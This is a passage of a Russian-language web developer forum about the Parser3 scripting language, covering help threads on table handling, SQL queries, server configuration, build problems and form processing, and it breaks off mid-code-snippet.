"42594","в FAQ случай рассмотрен подробно и указаны необходимые действия."
"42595","за основу брал:\
http://dklab.ru/chicken/nablas/41.html\
и\
http://ajax.zervaas.com.au/\
\
Второй вариант понравился больше первого, хотя идеологически они похожи. Основная проблема в обоих случаях перекодировка русского запроса в человечный вид из юникода. Использовал обычный replace.\
\
P.S. Как появится время напишу примеры по обоим случаям."
"42597","как наиболее эффективно c точки зрения производительности хранить конфигурационные файлы своих приложений?\
в виде парсеровского кода или, например, в виде CSV-таблиц?"
"42599","...а есть желание продвинуть парсер в студенческие массы."
"42602","Сначала вы, убедитесь, что сделали все, что могли, дважды.\
А потом админ. И лично проследите, что он сделал все, что указано в faq! Дважды."
"42604","...при необходимости. Этот метод немножечко подобен перехвату ошибок, только вызывается в определённых ситуациях:\
 - не найден файл изображения;\
 - для данного ID в БД ничего нет;\
 ..."
"42605","[quot]Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable»[/qout]\
\
Все выставленно \
\
[quot] или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора)[/quot]\
\
Этот пункт ТОЖЕ выполнен так как если открывать так\
http://209.123.181.230/~akvaniru/\
То ВСЕ работает\
А если напрямую через домен\
www.betsee.com\
То нет. Ошибка\
\
Я думаю если бы мы ошиблись в версси парсера и поставили не для той операционной системы я думаю вообще бы не работало. Не так не так.\
\
[quot].Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.[/quot]\
\
Работаю с парсером НЕ первый год и Знаю как закачиваються файлы на сервер."
"42609","как раз оно стоит больших усилий по ускорению?\
\
замерьте."
"42610","ничего не мешает сделать $таблица[^table::load[...]], потом $хэш[^таблица.hash[...]] и затем использовать в коде этот хеш.\
\
а в каком виде хранить данные в самом файле парсеру безразлично, главное чтобы вы могли загрузить их минимумом строчек кода, а это означает: tab-delimited или csv.\
\
вот только не надо данные хранить в виде парсерного кода.\
\
P.S. БД - рулез."
"42611","Прошу тупости вопроса не пугаться! У меня не получаеться на парсере написать простейший алгоритм. Задача:\
Сохранить с трех полей формы текстовые данные на жосткий диск. Пробовал делать хэш файл или tab delimited таблицу. По таблице выводит ошибку мол не хватает параметров в методе сейв(undefinded method save) или чот вроде того. Буду рад, если подкинете готовый алгоритм и буду прыгать от щастья, если разясните что к чему.\
Подемонстрирую свой код:\
^if(def $form:date && def $form:header && def $form:body)\
{$table[^table.create[date	news	number\
$form:date	$form:header	$form:body}]}\
^table.save[table.txt]\
Я пробовал разные варианты. Этот самый маломаразматичный."
"42612","[code]\
^if(def $form:date && def $form:header && def $form:body){\
$table[^table::create{date	news	number\
$form:date	$form:header	$form:body}]\
^table.save[table.txt]\
}\
[/code]"
"42613","1. В ^if(...){...} между условием и телом (между закрывающей круглой и открывающей фигурной скобками) не надо ни пробелов, ни переносов строк.\
\
2. ^table.create[...] — если разобраться: что вы делаете? Вызываете метод create у якобы ранее созданного объекта table, но вам-то надо как раз таки создать этот объект. Следовательно нужно ^table::create{} (да, скобки должы быть фигурные)\
\
3. Таблица должна быть tab-delimited, а в приведенном вами куске кода этого не наблюдается.\
\
4. http://www.parser.ru/docs/lang/tablecreate.htm\
\
Плюс еще странная соотношение заголовков таблици и данных: news и $form:header, number и $form:body ;)\
\
P.S. «жосткий» пишется через «е» :)"
"42616","В любом случае буду переписывать под свои нужды - так что разбираться придется. \
\
Более детально запостил на форум ДКлаб.ру:\
http://forum.dklab.ru/comments/nablas/41_jshttprequestDynamicPumpingOfTheDataWithoutPerezagruzkiPages.html?start=280\
---\
Кто-нибудь использовал эту связку? \
\
Не могу понять в чем дело, пытаюсь загрузить данные через parser - никакой реакции (readyState = 0). Как будто файла load.html нет. load.php c \"родной\" JSHttpRequest.php работает. \
Результат работы серверной части 1 к 1, только парсер еще пишет (положенный по стандарту) content-length в HTTP-заголовке. \
(Поле, X-POWERED-BY, понятно дело, не в счет). И вся разница  \
\
Не могу понять, что я упустил. \
\
результат работы load.php:\
[code] \
JSHttpRequest.dataReady( \
  '', \
  '', \
  { 'q': null,'md5': 'd41d8cd98f00b204e9800998ecf8427e' } \
) \
[/code] \
\
результат работы load.html(Parser):\
[code] \
JSHttpRequest.dataReady( \
'', \
'', \
{ 'q': null,'md5': 'd41d8cd98f00b204e9800998ecf8427e' } \
)\
[code] \
В случае с php - работает, в случае с парсером - нет. \
Даже если просто создать файл load.js с указанным выше кодом - readyState = 0 :( \
Так что, видимо, парсер тут не играет существенной роли.\
\
Подскажите, что я мог упустить?\
---\
\
По сути, для начала нужно сделать статическую версию, которая бы работала без использования серверной части."
"42617","Опять меня ограничивает админ, выдал мне функцию\
\
Есть: \
^connect[$mysql_connection_string]{$sql_table[^table::sql{declare @S int exec f_Access_News 51, 'ricot', @S  OUTPUT}]}\
\
По идее:\
51 - код юзера, ricot - его пароль\
@S=1 - если пароль правильный\
@S=0 - если либо пароль неправильный\
\
Не понимаю, как вытащить значение @S\
$sql_table.@S - не работает :(\
\
Вся надежда на вас :)"
"42618","как потом выяснилось, я по глупости в javascript-коде обозвал переменную [url=\"http://www.javascripter.net/faq/reserved.htm\"]запрещенным словом[/url].\
\
А вообще, всё должно работать. Вот [url=\"http://www.ipo-design.ru/developments/httpreguest/\"]тут[/url], например, нормально работает..."
"42619","Подскажите кто-нибудь, можно ли задать в парсер чтобы он мог определять локальное время пользователя открывший страницу и как?"
"42620","Но в парсер передать тяжело."
"42621","Надо чтоб именно парсер определял, возможно так сделать?"
"42623","если указать в качестве источника данных \
[code]req.open('GET', 'http://www.ipo-design.ru/developments/httpreguest/load_test.prs', true)[/code]\
то все работает. \
Локальная загушка \
[code]\
@main[]\
$response:status(200)\
$response:content-type[\
    $.value[text/javascript]\
    $.charset[$response:charset]\
]\
JSHttpRequest.dataReady(\
q,\
'Вроде ошибок нету',\
{'good': 'loaded_from_server', 'food': '1'}\
)\
[/code] \
Не работает, т.е. IE ругается. \
\"q\" - определение отсутствует.\
\
Разницы в результатах работы никакой не вижу, http заголовки правильные. \
\
Если владелец ipo-design.ru читает - большая просьба выложить исходники load_test.prs..."
"42624","это для oracle.\
\
для MSSQL в явном виде работы нет (Студии не было нужно; приму patch к ODBC драйверу, интерфейс работы с bind переменными в драйверах в общем виде есть с 3.1.4). \
\
думаю, через TransactSQL можно выразить. откройте Programs|Microsoft SQL Server|Books online и читайте."
"42630","2 Sumo: большое спасибо\
2 Misha v.3: может в \"полезном\" выложить этот линк?"
"42631","[code]\
^connect[$mysql_connection_string]{$sql_table[^table::sql{declare @S int exec f_Access_News 51, 'ricot', @S  OUTPUT select * from (select @S as success) as S}]}\
\
$sql_table.success\
[/code]"
"42633","А если на русском то ваще было бы супер.\
\
http://www.w3c.org/cgi не предлагать, я там потерялся."
"42637","Еще раз проблема.\
\
ВОТ ТАК http://209.123.181.230/~akvaniru/ все работает\
Тоже самое открываем вот так www.betsee.com/ 500ая ошибка.\
\
процетирую свой последний овтет\
\
[quot]Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable»[/qout]\
\
Все выставленно \
\
[quot] или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора)[/quot]\
Этот пункт ТОЖЕ выполнен так как если открывать так\
http://209.123.181.230/~akvaniru/\
То ВСЕ работает\
А если напрямую через домен\
www.betsee.com\
То нет. Ошибка\
\
Я думаю если бы мы ошиблись в версси парсера и поставили не для той операционной системы я думаю вообще бы не работало. Не так не так.\
[quot]Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.[/quot]\
\
Работаю с парсером НЕ первый год и Знаю как закачиваються файлы на сервер."
"42640","В моем случае помог перенос сайта на другой сервер."
"42641","Такой вопрос:\
1. Имеется сайт на парсере.\
2. Открываю его в Internet Explorer.\
3. Время от времени так называемый \"центр сообщений встроенный в WinXP SP-2\" выдает:\
\
Обозреватель Internet Explorer блокирует использование веб-узлом элемента управления ActiveX на вашем компьютере, т.к. этот узел пытается применить элемент управления для выполнения таких задач, для которых он не предназначен. Следует немедленно покинуть данный веб-узел.\
\
Понятно, что \"центр сообщений\" можно отключить, но как быть с пользователями сайта ?"
"42642","Собрал парсер на дебиан с поддержкой XML, использовал shared.\
Версии библиотек\
glib1.2-1.2.10\
libxml2-2.6.16\
libxslt-1.1.12\
gdome2-0.8.1\
\
Gdome пропатчил. При сборке libxml2 добавлял ключ --without-iso8859x, по другому не собиралось(типа была необъявленная функци).\
\
Работает как cgi в апаче 1.3.33, простые html показывает, при отображении примера из хелпа падает и в лог апача пишет:\
\"Premature end of script headers: /usr/local/bin/parser3\"\
если запускать парсер из консоли, то все работает.\
\
Библиотеки собирал в $HOME/gnome\
Под другим пользователем тоже работает.\
\
Если у кого-то будут идеи что не так, буду очень признателен"
"42643","или трояном засаженным на компе."
"42644","У меня на парсере работает несколько сайтов, но данная ошибка выскакивает только на одном.\
\
[quot][i]Программные компоненты ActiveX - компоненты, работающие на компьютере-клиенте, но загружаемые в первый раз с сервера Web. С их помощью можно показывать разнородную информацию, включающую звук и видео без запуска дополнительных программ. Более того, эти программные компоненты могут использоваться в приложениях, написанных на любых популярных языках программирования, включая Java, Visual Basic, Visual C++.[/i][/quot]\
\
Но нету у меня в коде никакого ActiveX ..."
"42645","Есть большое подозрение, что что-то не так с путями, скорее с LD_LIBRARY_PATH, поставил его c помощью SetEnv на библиотеки которые собирались в $HOME/gnome/lib -- не помогло.\
\
Подскажите, как протрейсить какие либы грузит программа, когда-то видел такое -- как делать не помню."
"42646","Заработало, скопировал либы из $HOME/gnome/lib в /usr/local/lib(У меня там было практически пусто, не считая питонов)\
И одновременно дописал SetEnv LD_LIBRARY_PATH  /usr/local/lib\
в httpd.conf, в .httaccess не работал, хотя судя по доке должно было, так что либы скорее всего можно было не копировать.\
\
Спасибо Артёму\
http://www.parser.ru/forum/?id=13056\
\
Если кому нужен парсер под дебиан могу прислать(после стрипа стал 700К), жаль слинокован shared -- статик не работал, а возиться не хотелось."
"42648","[b]по шагам[/b] напишите сюда: что написано в FAQ, что вы сделали/увидели."
"42649","если security настроена выше обычного.\
\
для показа .xml в MSIE используется некий ActiveX объект.\
\
возможно, ваша страница выдала некий хитрый content-type?\
\
ещё варианты: .doc, .xsl, .ppt — все обрабатываюся ActiveX из MSOffice, чтобы показывать их прямо в браузере.\
\
подсмотреть заголовки ответа можно удобной программкой прямо из MSIE:\
http://www.simtec.ltd.uk\
\
или воспользоваться [code]wget -d[/code]"
"42650","необходимость в\
http://www.parser.ru/forum/?id=41047\
отпала."
"42651","терпение и внимательность сумели преодолеть время.\
\
жаль, что в static не получилось, поскольку так вышли привязанные.\
\
если будет время:\
вы пробовали просто ld -static, или configure --with-static-*?"
"42652","Очень симпатичный девайс =)"
"42653","[code]^connect[$mysql_connection_string]{$sql_table[^table::sql{declare @S int exec f_Access_News 51, 'apricot', @S  OUTPUT select * from (select @S as success) as S}]}\
\
$columns_table[^sql_table.columns[]]\
$columns_table.column[/code]"
"42655","пробовал --with-static-xml,\
чуток позже попробую еще разок, кстати все либы xml пересобирал сам и исходников, с тем что поставил сам дебиан -- подружиться не смог."
"42656","сколько штук столбцов в columns[]?"
"42657","А запрос работает, проверяла."
"42659","Решила я сделать доброе дело, сотрудников много скопилось, надо анкету делать с фоткой на внутреннем сайте, иначе фиг разберешься ху из ху.\
\
Создала две таблицы:\
anketa_question (id_question, text) - содержит уник номер вопроса и текст\
и\
anketa_answer (id_answer, woker_id, question_id, answer_text) - содержит уник. номер ответа, уник. номер сотрудника, уник номер вопроса, текст ответа на вопрос (char) \
\
И только до меня дошло, что наверное занести данные при такой конструкции таблицы невозможно... Если только по одному вопросу, всем скопом не получится... По одному вопросу это глум, их может быть до 20-ти...\
\
Ведь кто-то уже наверняка делал что-то подобное, помогите сообразить с архитектурой построения таблиц...\
\
P.S.: Не по теме вопрос имею, работу ищу...никому не нужен талантливый сотрудник? ;)"
"42660","^columns_table.count[] = ???\
^sql_table.count[] = ???\
\
P.S. у columns_table можно сделать .menu и вывести _все_."
"42661","Выдает\
\
^columns_table.count[] = 0\
^sql_table.count[] = 0"
"42662","[quot]Создала две таблицы:\
anketa_question (id_question, text) - содержит уник номер вопроса и текст и anketa_answer (id_answer, woker_id, question_id, answer_text) - содержит уник. номер ответа, уник. номер сотрудника, уник номер вопроса, текст ответа на вопрос (char)[/quot]\
\
Уникальный номер ответа во второй таблице я еще могу себе представить, номер сотрудника уникальным в этой таблице быть не может (если они у вас не всем гуртом анкету заполняют), а в уникальном номере вопроса смысла нет. \
\
С такой организацией, если я Вас правильно понял, невозможно заполнить базу даже по одному вопросу.\
\
PS: worker"
"42664","Вообще во второй таблице нет смысла в уникальных полях.\
\
user_id, question_id, answer_text\
\
Ничего тут уникального нет."
"42665","Первичный ключ, разумеется, по user_id+question_id"
"42666","это происходит потому, что parser не достаёт заголовки ответа (в help написано, что не сможет, потому и такой код; реально сможет или нет никогда не проверял, поскольку подобного нам не было нужно).\
\
[code]\
// mk:@MSITStore:C:\\Program%20Files\\Microsoft%20SQL%20Server\\80\\Tools\\Books\\adosql.chm::/adoprg02_4g33.htm\
// Server cursors are created only for statements that begin with: \
// SELECT\
// EXEC[ute] procedure_name\
// call procedure_name\
// mk:@MSITStore:C:\\Program%20Files\\Microsoft%20SQL%20Server\\80\\Tools\\Books\\odbcsql.chm::/od_6_035_5dnp.htm\
// The ODBC CALL escape sequence for calling a procedure is:\
// {[?=]call procedure_name[([parameter][,[parameter]]...)]}\
if(strncasecmp(statement, \"select\", 6)==0\
   || strncasecmp(statement, \"EXEC\", 4)==0\
   || strncasecmp(statement, \"call\", 4)==0\
   || strncasecmp(statement, \"{\", 1)==0) {\
[/code]\
\
возможно, сумеете перефразировать запрос, чтобы он начался с нужных ключевых слов?\
\
если не сумеете, можно попробовать обойти то, что написано в ms help, для чего в файле parser3odbc.dll можно найти слово \"EXEC\" (первое вхождение) и заменить на слово \"decl\" (начало вашего declare) в любом hex редакторе."
"42667","Переписал шаблон сайта под парсер. И тут встал вопрос, многим пользователям не нравится сильная загруженость сайта графическим материалом. Возможно ли реализовать 2 шаблона первый графический, а второй упрощенный через выпадающее меню. Как я понимаю нужно создать 2 разных шаблона для сайта, но как их вызвать я понять пока не могу. Помогите начинающим. Заранее спасибо!"
"42668","или как там автомобилисты говорят?"
"42669","какие шаблоны у вас?\
может ли вы создать поддомен?\
настроить rewrite_mod?"
"42675","Нужны и программисты и админы:\
\
Админы:\
\
1.	Понимание работы и проектирования СУБД (реляционная теория). Хорошее знание MS SQL Server 2000 и его инструментов большой плюс.\
2.	Опыт работы с серверными ОС Microsoft - MS Windows NT 4.0/2000/2003 Server\
3.	Владение диагностическими инструментами Windows (журналы, performance monitor). Опыт диагностики серверов.\
4.	Протокол TCP/IP\
5.	Наличие опыта программирования и знание C# и .NET Framework большой плюс.\
6.	Английский язык. Свободно говорить необязательно, но писать и читать без словаря нужно обязательно.\
7.	Коммуникабельность, умение работать в команде, умение ясно и четко излагать мысли.\
\
Программисты\
\
1.	Опыт программирования на любом из след. Языков: C++, C#, J#, Java. Большой плюс - отличное знание C# и .NET Framework.\
2.	Опыт работы с системами контроля версий и bug tracking.\
3.	Опыт работы с инструментами Unit тестирования.\
4.	Понимание работы и проектирования СУБД (реляционная теория). Хорошее знание MS SQL Server 2000 и его инструментов большой плюс.\
5.	Владение диагностическими инструментами Windows (журналы, performance monitor).\
6.	Протокол TCP/IP.\
7.	Английский язык. Свободно говорить необязательно, но писать и читать без словаря нужно обязательно.\
8.	Коммуникабельность, умение работать в команде, умение ясно и четко излагать мысли.\
\
З/п пока 1000 хотя если человек очень хорош подумаем и о большей сумме (до 1200). Далее все будет зависеть от вас :)"
"42676","С таблицами."
"42677","непонятным образом \"вешается сервер\" Всего около 2-3 тыс просмотров страницы в час и сервер просто висит.\
В процессах - парсер на обоих процессорах 80-90%\
Серевер apache...\
Что делать?"
"42679","Написал. Вроде нравиться, но есть одна проблема. Если добавить в таблицу строку(новость) из форм, а потом на странице с пустыми формами нажать на кнопку \"Обновить\" новость добавляеться повторно. С чем это связано? Также, если с помощью моего алгоритма удалить ненужную новость то после нажатия на кнопку обновить будут по одной удаляться новости, которые стояли после удаленной.\
И снова попугаю вас своим кодом:\
[code]\
@News[]\
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form>\
^if(def $form:date && def $form:header && def $form:body){\
$table[^table::load[table.txt]]\
^table.append{$form:date	$form:header	$form:body}\
^table.save[table.txt]\
}{Надо заполнить все поля формы.}\
@deleting[]\
$table[^table::load[table.txt]]\
$x(^table.count[]-1)\
^for[i](0;$x){\
^if(def $form:ch$i){\
$n($i+1)\
$table2[^table::create[$table;$.offset($n)]]\
$table[^table::create[$table;$.limit($n-1)]]\
^table.join[$table2]\
^table.save[table.txt]\
$n}} \
<form method=\"POST\">\
Поставте галочку возле новости, если хотите удалить её.\
^table.menu{ \
<table border=0 align='center' width='800'>   \
<tr> \
      <td width='2'><input type=\"checkbox\" name=\"ch^table.offset[]\" value=\"^table.offset[]\"></td><td width='10%'>$table.date</td> \
      <td width='70%'>$table.head</td> \
</tr><tr>\
      <td COLSPAN=3 width='80%'>$table.news</td> \
   </tr>\
</table><br><br> \
} \
<br><input type=\"submit\" value=\"Delete\" name=\"posted\">\
</form>\
[/code]\
А так версия вполне рабочая. Кстати, кому может надо, хотя чегото я сомневаюсь, копируйте не стесняйтесь:)."
"42680","Я не знаю есть ли более изящное решение, но я делаю вот так примерно (могут быть ошибки, не проверял, но суть ясна):\
\
[code]\
$answers[^table::sql{select id_question, txt from anketa_question}]\
^answers.menu{\
  <input type=\"text\" name=\"asw_$answers.id_question\"> : $answers.txt\
}[<br />]\
[/code]\
\
\
Обработка:\
\
[code]\
^form:fields.foreach[field;value]{\
   ^if(^field.match[asw_[0-9]+][]){\
     $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
     ^void:sql{insert into anketa_answer (woker_id, question_id, answer_text) values ($id_пользователя, $asw_id, '$value')}\
   }\
}\
[/code]\
Это упрощенный код, только заносить в анкету. При несложном колдунстве можно сделать редактирование/update (у меня так). =)"
"42681","Нажимая \"обновить\" вы тем самым как бы еще раз нажимаете кнопку \"submit\" и происходит повторная передача данных странице, которая производит обработку данных еще раз - добавляет или удаляет новость.\
[code]\
$response:refresh[\
   $.value(0)\
   $.url[/]\
]\
[/code]\
Добавление в конец кода обработки такой фразы, приведет к автоматическому обновлению стр без как-либо параметров, а следовательно ни каких изменений не произойдет.\
\
P.S.\
может я что и не так объясняю, но суть примерно такая."
"42683","Постараюсь помочь. =)"
"42684","Наш сайт http://pk.bsmu.by со слов сисадмина недоступен из-за того, что двухпроцессорный сервер на 80% грузится парсером (версия одна из последних, предыдущие 20 дней работала без сбоев). Это при том, что результаты 5 самых сложных запросов на выборку (по логам на них тратятся доли секунды) 5 минут хранятся в кэше в виде готового html, размер сгенерированного запросом html - около 30 к,  а сама база данных хранится в тексте с разделителем \"tab\" и включает около 1000 строк и около 20 полей. Вопрос: может ли из-за работы парсера \"умереть\" весь www.bsmu.by? Если да, то как выйти из данной ситуации?"
"42686","Правда не совсем еще разобрался, но activeX грузится на моем сайте вот с этого:\
http://www.loredo.lv/lat/index.htm\
Хотя ссылок, баннеров и т.д. на этот сайт нет."
"42687","Для тех кто столкнется с этой ошибкой does not start with http://\
Вот мое решение.\
\
load.html\
@main[]\
$files[^table::load[/list.cfg]]\
^files.menu{\
$file[^file::load[binary;$files.name;\
$.timeout(240)]]\
^file.save[binary;/files/^file:basename[$files.name]]\
^memory:compact[]\
}\
\
В файле list.cfg содержится таблица ссылок, вида http://img.yandex.ru/mail2/i24-check-mail.gif\
При этом возникает ошибка does not start with http://\
\
Как я её решил:\
в list.cfg в ссылках убрал http://\
а в load.html изменил строчку:\
$file[^file::load[binary;$files.name;\
на\
$file[^file::load[binary;http://$files.name;\
\
Всё заработало!"
"42688","Может, может..\
На заре моего обучния парсеру в общем и принципу рекурсии в частном умудрился подвесить немного тогдашнего хостера..\
Не помню точно что я там сваял, но ругались долго.. =)"
"42689","люди почему когда я достаю из базы данных html то он не обрабатывается а выдаётся как обычный текст?"
"42691","Красивая ласточка! Suzuki не самый популярный бранд, но те кто пользует именно его - не нарадуются. Надёжна и комфортна, размер тот что нужен для городского цикла. И на трассе ведёт себя очень приятственно. В общем - хороший и правильный выбор! Очень рад за Вас, Александр!"
"42692","подскажите как устроено \"Ководство\" на сайте artlebedev.ru\
Всмысле, всё хранится в базе данных или раскидано по каталогам"
"42694","который необходимо обязательно учитывать.\
А именно обеспечение уникальности ответов или уникальности сотрудников. Иначе на эту анкету один и тот же человек сможет ответить неоднократно (создав несколько вариантов), либо появятся виртуальные сотрудники :).\
По своему опыту я бы создал таблицу пользователей с заранее занесенными фИО и ввел бы паролирование."
"42695","в базе данных у меня лежит к примеру 20 статей, как мне сделать такое чтобы выводился список номеров статей (номеров столько сколько статей в базе) и нажимая на номер открывалась именно та статья находящаяся под тем номером на какой нажали."
"42696","и прочитан FAQ"
"42697","В MySQL имеется две учётные записи:\
1. root без пароля;\
2. test с паролём test и полным пакетом привелегий (кроме usage).\
\
Если в файле auto.p прописано [code] @auto[]\
$connect_string[mysql://root@localhost/p3test][/code], то всё работает.\
\
А если [code] @auto[]\
$connect_string[mysql://test:test@localhost/p3test][/code], то выдаётся ошибка [quot]Client does not support authentication protocol requested by server; consider upgrading MySQL client[/quot].\
Помогите...\
Стоит MySQL 4.1.\
Может проблема с MD5???"
"42699","У меня обычно бывает 2 проблемы с новыми базами (обе во мне, но все таки)\
\
1. Проверь в своей панели управления добавлен ли пользователь в пользователи базы дынных p3test.\
\
2. у меня на хостинге обычно название базы данных и пользователей начинается с имени номена : [code] mysql://robin_username:pasword@localhost/robin_DBname \
#robin - некое назввание которое идет перед именем базы данных\
[/code]"
"42700","Все из-за разницы версий сервера и клиента, вам об этом сообщили. Может быть это вам поможет: http://www.parser.ru/forum/?id=37113."
"42701","в базе данных у меня лежит к примеру 20 статей, как мне сделать такое чтобы выводился список номеров статей (номеров столько сколько статей в базе) и нажимая на номер открывалась именно та статья находящаяся под тем номером на какой нажали.\
\
p.s. кто-нибудь пытался запустить \"список всех uri сайта http://www.egoroff.spb.ru/download/1/15/uri.zip\" подскажите как это сделать.\
\
Буду признателен за любую информацию..."
"42703","Дело вот в чем, копирую parser3.cgi в cgi-bin, в корень .htaccess с инструкциями, не работает.\
Хостинг на freeBSD. пробовал установить парсер как интерпритатор, тоже не работает, вроде делаю все правильно.\
Может кто подскажет"
"42704","все перепроверили и перепробовали?"
"42705","Все прочитал, перепроверил.\
По идее должен работать без проблем, но увы.\
Единственно у меня сомнения по поводу прав."
"42706","Люди, помогите. При отправке парсером письма, не доходят письма на Рамблер. Вообще.\
На Мэйл.ру и Яндекс моментом. В чём может быть причина?"
"42707","Это должно быть в панели управления.\
И все станет ясно..."
"42708","Когда я пытаюсь обратится к главной странице, у меня не появляется страница ошибки а идет переадресация на главную страницу хостинга"
"42709","Тебе нужно 2 запроса. \
Первый \
select article_id from table\
\
второй\
select article_body from table where article_id = $id\
\
Это если совсем элементарно. Хотя судя по вопросу, навороты пока не нужны."
"42710","1) дергаем ID+HEADER статей, в таблице созданной парсером они все равно будут пронумерованы\
дальше продолжать или сами сможете?"
"42711","Посоветовал товарищу Gluchik'у то, что давным-давно по невнимательности принял за решение сабжа. А на деле получается достать только дату [i]первого[/i] дочернего сообщения. Поломав голову, перерыв mysql.ru и доку, пришел к выводу, что одним запросом в mysql < 4.1 это сделать нельзя (как я понимаю подзадача стоит в получении максимальной даты среди дочерних сообщений треда). Или вы сделали? :-) Киньтесь pls мыслью :-) Спасибо."
"42712","В общем начал собирать Parser-3.1.4 ну и не собирается он нивкакую уже все либы собрал:\
\
glib\
libxml\
libxslt\
gdome2\
\
и нивкакую\
\
конфигурится так: \
root@gw-astana parser-3.1.4# ./configure --prefix=/usr/local/parser3 --disable-safe-mode --silent --disable-threads --with-shared-xml=/usr/local/libxml --with-shared-gc=/usr/local/gc/lib --with-mysql-client=/usr/local/mysql --with-dynamic-stdcpp\
\
Лог конфигура: [url=\"http://212.154.175.250/config.log\"]config.log[/url]\
Лог make: [url=\"http://212.154.175.250/make.log\"]make.log[/url]\
\
ОС: RedHat Fedora Core 3 Linux"
"42713","Я говорю посмотрите ошибку в логе АПАЧА...\
Этот лог должен находится в вашей панели управления."
"42714","В форме проверяется правильность введенного e-mail адреса.\
RegExp такой: \
[code]\
^email.match[([-A-Za-z0-9._]+@[-A-Za-z0-9.]+(\\.[-A-Za-z0-9]+)+)][i]\
[/code]\
\
Возникла следующая проблема: иногда люди вводят два email адреса. Если они разделют их запятыми - все работает, но если ставят просто пробел, то получается ошибка.\
\
Хотел добавить в этот RegExp проверку кол-ва введенных адресов (не более одного).\
\
Сделал так:\
\
[code]\
^email.match[([-A-Za-z0-9._]+[@]{1,1}[-A-Za-z0-9.]+(\\.[-A-Za-z0-9]+)+)][i]\
[/code]\
\
Т.е. не больше одного \"@\" в строке. Но так не работает. Не подскажите в чем ошибка?"
"42715","Почему бы не воспользоваться?"
"42716","у меня отключены логи"
"42718","Я его раньше использовал, на очень сложные (но валидные) адреса не срабатывает."
"42719","Да, это помогло.\
Я перезаписал фаил libmySQL.dll из MySQL в Parser.\
Всё сразу же заработало.\
УРА!"
"42720","Как имея такой документ:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<article>\
  <author>Никита Розанов</author> \
</article>\
[/code]\
\
получить значение тега author?"
"42723","и в рамблере... (возможно)\
\
... еще можно код, например показать, или ошибку поподробнее... etc\
\
тут же не маги собрались..."
"42724","[2005-07-24 20:58:22.084640] 127.0.0.1: total 0.310446 0.050072 /index.html?1\
[2005-07-24 20:58:46.700035] 127.0.0.1: total 16.3435 0.75108 /index.html?2\
\
Как понять плохо это или нет?"
"42726","[code]^mail:send[ \
      $.from[$form:name] \
      $.to[$form:mail] \
      $.subject[Поздравляем!] \
     $.text[$form:text $form:mat] \
] [/code]"
"42727","Сорри, не совсем то спросил. Как получить дату последнего дочернего сообщения — понятно (MAX), но как быть, если от последнего дочернего сообщения требуется получить еще какую-то информацию? Например имя автора сообщения. Мой запрос:\
\
[code]SELECT\
	IFNULL(MAX(child.data),root.data) AS last_dt,\
	IFNULL(a_users.nick,root.author) AS author,\
	IFNULL(last_users.nick,child.author) AS last_author,\
	COUNT(child.id) AS cnt\
FROM\
	c_forum AS root\
	LEFT JOIN c_forum AS child ON root.id=child.parent\
	LEFT JOIN a_users ON root.a_id=a_users.id\
	LEFT JOIN a_users AS last_users ON child.a_id=last_users.id\
WHERE root.parent=0\
GROUP BY root.id\
ORDER BY last_dt DESC[/code]\
\
Этот запрос посчитает количество дочерних, достанет автора сообщения (или его ник из a_users, если root.a_id!=0) и, если есть ответы, дату последнего сообщения, но автора [b]первого[/b] дочернего сообщения. Может быть подскажите?"
"42728","Есть только необходимо дополнительно подключать"
"42729","Безусловно могу создавать поддомены.\
По поводу rewrite_mod поподробнее плз."
"42730","и это чистое время.\
или вы хотите сказать, что страница ?1 и ?2 идентичны? (не пишете = \"сиди и гадай\")\
\
если страница реально не зависит от пользователя, то можно её целиком внутрь ^cache засунуть."
"42731","вопрос обсуждался. были и другие мысли."
"42732","http://www.parser.ru/forum/?id=42406"
"42734","дальше попробуйте задать вопрос своему администратору.\
но проблема вполне может быть и на принимающей стороне."
"42736","Если есть, попробуйте поискать ваши письма в карантине или где-то в тех краях.\
Я не слишком силен в антиспаме, но вот мой товарищ предложил мне попользоваться некоей импортной системой фильтрации почты (путем перенастройки mx-записей). Я наблюдаю, как она работает. Она мониторит на спам по куче параматров - на черные списки, на соответствие технического заголовка реальным данным, на проблемы внутри технического заголовка в разных полях, на содержание сабжа и тела письма и т.п. Каждое несоответствие имеет свой \"вес\", веса суммируются, при достижении разных пороговых значений даже в самом карантине с письмом поступают по-разному. Попробуйте и таким образом еще посмотреть."
"42737","я не понял условий задачи. если есть thread_id, а надо найти максимальную дату то задача тривиально решается одним запросом."
"42738","если когда вы пишите MAX() в SELECT не ожидайте, что все остальные поля в SELECT так-же вернут значения той строки, для которой нашлось это MAX(). это не так. У mysql можно писать запросы на которые будут ругаться все другие известные мне SQL сервера, и эти запросы иногда могут возвратить все что угодно.\
\
считаю что поставленную задачу одним запросом в MySQL < 4.1 не решить, а также считаю, что даже пытаться её так решать не надо. лучше 3 простых запроса, чем один с тремя left_join-ами.\
\
P.S. по английски дата == date, а не data. я долго не мог въехать в суть запроса ;)"
"42739","[code]\
$file[^file::load[binary;^taint[as-is][$files.name];...]]\
[/code]"
"42741","есть такое... у меня как придет поисковик парсер 3.1.3 забирает практически все под себя... работа тоже идет с текстовыми файлами кстати...."
"42742","Попробовала\
\
[code]\
\
$answers[^table::sql{select id_question, text from anketa_question}]\
^answers.menu{\
$answers.text  <input type=\"text\" name=\"asw_$answers.id_question\">\
}[<br />]\
\
^form:fields.foreach[field;value]{\
   ^if(^fields.match[asw_[0-9]+][]){\
     $asw_id[^fields.match[asw_([0-9]+)][]{$match.1}]\
     ^void:sql{insert into anketa_answer\
	 			(woker_id, question_id, answer_text)\
			values\
